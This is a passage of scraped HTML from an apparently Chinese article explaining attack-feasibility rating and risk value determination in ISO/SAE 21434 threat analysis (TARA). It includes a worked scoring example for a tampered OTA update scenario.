Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">另外还推荐了三种方法确定可行性评级（RC-15-11），可以根据生命周期阶段和可用信息选择（RC-15-11 NOTE 1）：</span></p><p><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">1、基于攻击潜力方法</span></strong></p><p><span leaf="" style="box-sizing: border-box;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">通过核心因素打分计算潜力值，再映射到可行性等级（RC-15-12、Annex G），核心因素包括：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">经过的时间（攻击需要多长时间）：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">≤<span class="code-snippet__number">1</span> <span class="code-snippet__keyword">day</span></span></code><br/><code><span leaf="">≤<span class="code-snippet__number">1</span> week</span></code><br/><code><span leaf="">≤<span class="code-snippet__number">1</span> <span class="code-snippet__keyword">month</span></span></code><br/><code><span leaf="">≤<span class="code-snippet__number">6</span> months</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">专业知识（执行这个攻击需要什么样的熟练度）</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">业余：与专家或熟练人员相比无知识，没有特定专长</span></code><br/><code><span leaf="">熟练：熟悉产品或系统类型的安全行为</span></code><br/><code><span leaf="">专家：熟悉底层算法、协议、硬件、结构、安全行为、安全运用原理和概念、新攻击定义技术及工具、密码学、产品类型的经典攻击、攻击方法等</span></code><br/><code><span leaf="">多领域多位专家：攻击的不同步骤需要不同领域的专家级专长</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">信息公开性（原文说的是“对物品或组件的了解”，我觉得这里可以理解为“物品或组件的公开度”）</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">公开：关于物品或组件的信息能从互联网得到</span></code><br/><code><span leaf="">受限：在开发者组织内部控制并在非披露协议下与其他组织共享的知识</span></code><br/><code><span leaf="">机密：在开发者组织内不同团队之间共享，访问仅限于指定团队成员</span></code><br/><code><span leaf="">严格机密：仅少数人知道，访问受到严格“需知原则”和个人承诺的严格控制</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">机会窗口（执行这个攻击困不困难）</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">无限制：通过公共/不受信任的网络实现高可用性，没有任何时间限制（即资产始终可访问），无物理存在或时间限制的远程访问，以及对物品或组件的无限制物理访问</span></code><br/><code><span leaf="">简单：高可用性和有限的访问时间，无需物理存在即可远程访问物品或组件</span></code><br/><code><span leaf="">中等：低可用性，有限的物理或逻辑访问，在不使用特殊工具下对车辆内外部进行物理访问</span></code><br/><code><span leaf="">困难：非常低的可用性，访问程度不实际，无法实施攻击</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所需设备（执行这个攻击需要特定设备吗）</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">普通：攻击者可以随时获得利用所需的设备，该设备可以是产品本身的一部分（例如操作系统中的调试器），也可以是一些开源工具</span></code><br/><code><span leaf="">专业：攻击者不容易获得设备，但可以通过购买或花费时间去开发获得</span></code><br/><code><span leaf="">定制：设备是专门生产的（例如非常复杂的软件），公众不容易获得（例如黑市），或者设备非常专业，以至于其分销受到控制，甚至可能受到限制，或者设备非常昂贵</span></code><br/><code><span leaf="">多种定制：不同步骤需要不同类型的定制设备</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">评估攻击潜力后，Annex G还提供了Table G.6 — Example aggregation of attack potential作为示例聚合表，用于将五个核心因素的打分汇总成总攻击潜力值</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031751" alt="image" class="rich_pages wxw-img" data-ratio="0.3212962962962963" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9b2208b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz1SnBEex2KQg4WkrWibOqQ6GpYH3oCooojeibVItyeCsiaMaXaQoMp6zbQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然后将得到的总分映射到可行性等级：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031750" alt="image" class="rich_pages wxw-img" data-ratio="0.46977730646871685" data-type="png" data-w="943" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0abf16fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzosrG3pR1K70VibaOMkAibpPicAHFuMwU3oibAb1Q38YEnBIu6XxyYAYZzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">示例</span></strong><span leaf="">：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">假设威胁场景“OTA包被篡改”，对其中一条攻击路径（通过车辆WiFi热点执行中间人攻击）使用攻击潜力方法打分：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">经过的时间：≤1 day，对应分值0</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">专业知识：专家，对应分值6</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">信息公开性：受限，对应分值3</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">机会窗口：中等，对应分值4</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">所需设备：普通，对应分值0</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总分加起来是13分，属于10-13的范围，所以攻击可行性等级为Medium</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击可行性评级结果将与影响评级结合，计算最终风险值，风险值是风险处理决策的重要依据</span></p><p><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">2、基于CVSS方法</span></strong></p><p><span leaf="" style="box-sizing: border-box;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">基于CVSS基础指标组的可利用性指标分数计算，包括攻击向量、攻击复杂度、所需权限、用户交互（详见G.3 Guidelines for the CVSS-based approach）</span></p><p><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">3、基于攻击向量方法</span></strong></p><p><span leaf="" style="box-sizing: border-box;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">基于攻击向量方法仅基于路径的主要攻击向量评估可行性，其核心思路是攻击者路径越远（逻辑和物理上）可行性评级越高，因为使用互联网的潜在攻击者数量远大于需要物理访问车辆或零部件的攻击者（详见G.4 Guidelines for the attack vector-based approach）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在实际项目中，我主要用的是基于攻击向量方法，所以本文主要介绍基于攻击向量的方法，如果读者希望了解基于攻击潜力或基于CVSS的详细计算方式，可参考G.3 Guidelines for the CVSS-based approach和G.4 Guidelines for the attack vector-based approach</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TARA输出示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031753" alt="image" class="rich_pages wxw-img" data-ratio="0.28425925925925927" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d33b2ec3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzFVqvxFCFIgicahBIUSRCI1VlGe43txmNrSibwROccNKibOHZN26mE040g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">六、风险值确定（Risk value determination）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对于每个威胁场景，必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值，也就是说，要将影响评级和攻击可行性评级结合来计算威胁场景最终风险值的步骤（RQ-15-15），这一步的核心是使用风险矩阵将两个维度映射到风险等级（根据表8示例，等级从1到5，1表示风险最小），帮助优先排序高风险威胁并决定缓解策略</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031752" alt="image" class="rich_pages wxw-img" data-ratio="0.33796296296296297" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b500eb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzCKFItcJYzxXv1Npic0VGUiaqmRibhEyn9fDmib0emyKNgvIOicUTwSykK7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">示例</span></strong><span leaf="">（威胁场景“篡改OTA更新包”）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 